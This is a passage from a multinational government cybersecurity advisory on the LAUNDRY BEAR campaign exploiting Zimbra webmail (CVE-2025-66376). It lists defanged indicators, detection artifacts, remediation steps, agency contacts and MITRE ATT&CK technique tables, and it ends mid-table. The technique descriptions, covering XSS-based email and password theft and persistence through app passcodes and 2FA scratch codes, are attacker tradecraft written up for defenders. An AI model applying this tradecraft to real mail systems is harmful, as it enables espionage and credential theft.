<p>25 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>27 Sep 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>cddf5c3be1e07f28140aed165b929bf2d614922a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Nov 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>17 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18 Dec 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>28 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>1b25041ececf2457eef0270fc1d785cec8ec9ded </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>21 Jan 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>10 Feb 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>e4fe6466a4f9a4249fe330651e914e45bbdca44a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>5 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>22 Mar 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>b6b77c9a455225d525834a403ca9ef5481ed0447 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>30 Mar 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:</p>
<ul>
<li>ivanka.zurabishvili@proton[.]me,</li>
<li>zmul1@buildandconsulting[.]com,</li>
<li>garrysmithme@pinmx[.]net, and</li>
<li>hostingclient@pinmx[.]net.</li>
</ul>
<h4><strong>Phishing distribution</strong></h4>
<p>LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  </p>
<p>The following email addresses have distributed payloads attributed to this campaign:</p>
<ul>
<li>c.laurent.ejfa@proton[.]me,</li>
<li>j.moreau.epsc@proton[.]me,</li>
<li>liberty.insights@proton[.]me,</li>
<li>certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and</li>
<li>certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).</li>
</ul>
<p>Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:</p>
<ul>
<li>98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,</li>
<li>60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,</li>
<li>b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and</li>
<li>1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.</li>
</ul>
<h4><strong>Post-compromise artifacts</strong></h4>
<p>Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.</p>
<p>This <em>Ulej </em>capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the <em>/opt/zimbra/log/mailbox.log</em> file [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. A significant amount of SOAP request activity that aligns with what was described in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> and <a href="https://www.cisa.gov/#collection1">Collection</a> sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:</p>
<ul>
<li>Many <em>SearchGalRequest </em>command requests from a single user over a short period of time;</li>
<li>Use of the <em>CreateAppSpecificPasswordRequest</em> command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and</li>
<li>Use of the GetScratchCodesRequest command.</li>
</ul>
<p>While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of <em>zd_comp_YYYY-MM-DD,</em> as explained in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory.</p>
<p>While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”</p>
<p>In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [<a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis" target="_blank">D3-MA</a>]. If an email that has a payload exploiting <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a> is discovered, <strong>steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  </strong></p>
<h3><em><strong>Remediation</strong></em></h3>
<p>In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>.</p>
<p>Organizations should use identifiers from the <a href="https://www.cisa.gov/#ioc1">IOCs</a> section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.</p>
<p>All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B">CPG 3.B</a>] and creating unique credentials [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C">CPG 3.C</a>], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.</p>
<h2><strong>Works cited</strong></h2>
<p>[1<a class="ck-anchor"></a>] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. <a href="https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf" target="_blank">https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf</a></p>
<p>[2]<a class="ck-anchor"></a> Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. <a href="https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/" target="_blank">https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/</a></p>
<p>[3]<a class="ck-anchor"></a> Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. <a href="https://unit42.paloaltonetworks.com/russian-webmail-espionage/">https://unit42.paloaltonetworks.com/russian-webmail-espionage/ </a></p>
<p>[4]<a class="ck-anchor"></a> Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. <a href="https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit">https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit</a></p>
<p>[5]<a class="ck-anchor"></a> Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. <a href="https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/" target="_blank">https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/  </a></p>
<h2><strong>Footnotes</strong></h2>
<p><sup>1</sup><a class="ck-anchor"></a> Národní úřad pro kybernetickou a informační bezpečnost<br><sup>2</sup><a class="ck-anchor"></a><sup> </sup>Forsvarets Efterretningstjeneste<br><sup>3</sup><a class="ck-anchor"></a><sup> </sup>Välisluureamet<br><sup>4</sup><a class="ck-anchor"></a> Sotilastiedustelu<br><sup>5</sup><a class="ck-anchor"></a><sup> </sup> Suojelupoliisi<br><sup>6</sup><a class="ck-anchor"></a> Direction générale de la sécurité intérieure<br><sup>7</sup><a class="ck-anchor"></a> Agence nationale de la sécurité des systèmes d’information<br><sup>8</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Esterna<br><sup>9</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Interna<br><sup>10</sup><a class="ck-anchor"></a> Serviciul de Informații și Securitate al Republicii Moldova<br><sup>11 </sup><a class="ck-anchor"></a>Agencja Wywiadu<br><sup>12</sup><a class="ck-anchor"></a><sup> </sup>Służba Kontrwywiadu Wojskowego<br><sup>13</sup><a class="ck-anchor"></a><sup> </sup>Centro Nacional de Inteligencia<br><sup>14 </sup><a class="ck-anchor"></a>Nationellt Cybersäkerhetscenter<br><sup>15</sup><a class="ck-anchor"></a> MITRE and ATT&amp;CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.</p>
<h2><strong>Disclaimer of endorsement</strong></h2>
<p>The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.</p>
<p>Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.</p>
<h2><strong>Purpose</strong></h2>
<p>This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.</p>
<h2><strong>Contact</strong></h2>
<div class="SCXW95230887 BCX8">
<div class="OutlineElement Ltr SCXW95230887 BCX8">
<p><strong>United States organizations </strong></p>
<ul>
<li><strong>National Security Agency</strong> <br>Cybersecurity Report Feedback: <a href="mailto:CybersecurityReports@nsa.gov" target="_blank"><u>CybersecurityReports@nsa.gov</u></a> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DIB_Defense@cyber.nsa.gov" target="_blank"><u>DIB_Defense@cyber.nsa.gov</u></a> <br>Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, <a href="mailto:MediaRelations@nsa.gov" target="_blank"><u>MediaRelations@nsa.gov</u></a> </li>
<li><strong>Cybersecurity and Infrastructure Security Agency</strong> <br>CISA’s 24/7 Operations Center (<a href="mailto:contact@cisa.dhs.gov" target="_blank"><u>contact@cisa.dhs.gov</u></a>), or by calling 1-844-Say-CISA (1-844-729-2472). </li>
<li><strong>Federal Bureau of Investigation</strong> <br>If you or someone you know has fallen victim to this campaign, file a complaint with <a class="Hyperlink SCXW95230887 BCX8" href="https://www.ic3.gov/" target="_blank" rel="noreferrer noopener"><u>IC3</u></a>. </li>
<li><strong>Defense Counterintelligence and Security Agency </strong> <br>DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: <a href="mailto:DCSA.CI.CyberOps@mail.mil" target="_blank"><u>DCSA.CI.CyberOps@mail.mil</u></a> <br>Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117. <br>Media/Public Inquiries: <a href="mailto:dcsa.quantico.dcsa-hq.mbx.pa@mail.mil" target="_blank"><u>dcsa.quantico.dcsa-hq.mbx.pa@mail.mil</u></a>  </li>
<li><strong>Department of Defense Cyber Crime Center </strong> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DC3.DCISE@us.af.mil" target="_blank"><u>DC3.DCISE@us.af.mil</u></a> <br>Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at <a href="https://dibnet.dod.mil/" target="_blank"><u>https://dibnet.dod.mil</u></a> <br>Media Inquiries / Press Desk: <a href="mailto:DC3.Information@us.af.mil" target="_blank"><u>DC3.Information@us.af.mil</u></a> </li>
<li><strong>Naval Criminal Investigative Service</strong> <br>To report criminal activity impacting the United States Navy, go to <a href="http://www.ncis.navy.mil/" target="_blank"><u>www.ncis.navy.mil</u></a> and click “Submit a Tip”</li>
</ul>
<p><strong>Dutch organizations</strong> </p>
<ul>
<li>Defence Intelligence and Security Service (MIVD): <a href="https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid" target="_blank"><u>https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid</u></a>  </li>
<li>General Intelligence and Security Service (AIVD): <a href="https://www.aivd.nl/" target="_blank"><u>https://www.aivd.nl</u></a> </li>
</ul>
<p><strong>Australian organizations </strong></p>
<ul>
<li>Australian Signals Directorate <br>Visit <a href="https://www.cyber.gov.au/about-us/about-asd-acsc/contact-us#no-back" target="_blank"><u>cyber.gov.au</u></a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. </li>
</ul>
<p><strong>Canadian organizations </strong></p>
<ul>
<li>The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.  <br>Report an incident or suspicious activity to the Cyber Centre by email at <a href="mailto:contact@cyber.gc.ca" target="_blank"><u>contact@cyber.gc.ca</u></a>, online via the reporting tool <a href="https://www.cyber.gc.ca/en/incident-management" target="_blank"><u>Report a cyber incident - Canadian Centre for Cyber Security</u></a> or by phone at 1-833-CYBER-88 (1-833-292-3788). </li>
</ul>
<p><strong>New Zealand organizations </strong></p>
<ul>
<li>New Zealand National Cyber Security Centre (NCSC-NZ): <a href="mailto:info@ncsc.govt.nz" target="_blank"><u>info@ncsc.govt.nz</u></a> </li>
</ul>
<p><strong>United Kingdom organizations </strong></p>
<ul>
<li>Report significant cyber security incidents to <a href="https://ncsc.gov.uk/report-an-incident" target="_blank"><u>ncsc.gov.uk/report-an-incident</u></a> (monitored 24/7) </li>
</ul>
<p><strong>Estonia organizations </strong></p>
<ul>
<li>Estonian Foreign Intelligence Service (EFIS): <a href="mailto:info@valisluureamet.ee" target="_blank"><u>info@valisluureamet.ee</u></a> </li>
</ul>
<p><strong>Finnish organizations </strong></p>
<ul>
<li>Finnish Security and Intelligence Service: <a href="https://supo.fi/en/contact" target="_blank"><u>supo.fi/en/contact</u></a> </li>
</ul>
<p><strong>French organizations </strong></p>
<ul>
<li>French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: <a href="mailto:cert-fr@ssi.gouv.fr" target="_blank"><u>cert-fr@ssi.gouv.fr</u></a> or by phone at: 3218 or +33 9 70 83 32 18. </li>
</ul>
<p><strong>Italian Organizations </strong></p>
<ul>
<li>Italian External Intelligence and Security Agency (AISE):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a>  </li>
<li>Italian Internal Intelligence and Security Agency (AISI):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a> </li>
</ul>
<div class="OutlineElement Ltr SCXW214395380 BCX8">
<p><strong>Moldovan organizations </strong></p>
</div>
<div class="ListContainerWrapper SCXW214395380 BCX8">
<ul type="disc">
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM): <a href="mailto:cybersec@sis.md" target="_blank"><u>cybersec@sis.md</u></a> </li>
</ul>
</div>
<p><strong>Polish organizations </strong></p>
<ul>
<li>Polish Foreign Intelligence Agency (AW): <a href="mailto:ctiteam@aw.gov.pl" target="_blank"><u>ctiteam@aw.gov.pl</u></a></li>
</ul>
</div>
</div>
<h2><strong>Appendix A: MITRE ATT&amp;CK tactics and techniques</strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table9"><strong>Table 9</strong></a> through <a href="https://www.cisa.gov/#table19"><strong>Table 19</strong></a> for all the threat actor tactics and techniques referenced in this advisory.<a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 9: Reconnaissance </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Credentials </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank"><u>T1589.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to intercept a victim’s password from their password manager. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Email Addresses </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank"><u>T1589.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to grab the victim’s email address from various data stores. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Websites/Domains </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank"><u>T1593</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group likely leverages public information to support target development. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Active Scanning </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank"><u>T1595</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Port scanning can be used by this group to assist with determining exploitability of identified targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Technical Databases: Scan Databases </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank"><u>T1596.005</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Various public datasets can provide information to support discovery of exploitable targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank"><u>T1597</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previously exfiltrated data can be used to enhance target development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources: Purchase Technical Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank"><u>T1597.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Commercial datasets can also be used to support target development efforts. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<div class="WACAltTextDescribedBy SCXW76044448 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 10: Resource Development </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/" target="_blank"><u>T1583</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group used Mullvad VPN to anonymize traffic sent to operational infrastructure. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group procured VPS servers from a variety of vendors. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank"><u>T1587</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The <em>Ulej</em> capability was developed likely for use by this group to conduct spear phishing campaigns. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Malware </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank"><u>T1587.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel payload that steals a victim’s emails and other sensitive account information. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Exploits </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank"><u>T1587.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Tool </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank"><u>T1588.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Open source tools, such as Evilginx2, have also been used by the group. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Artificial Intelligence </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
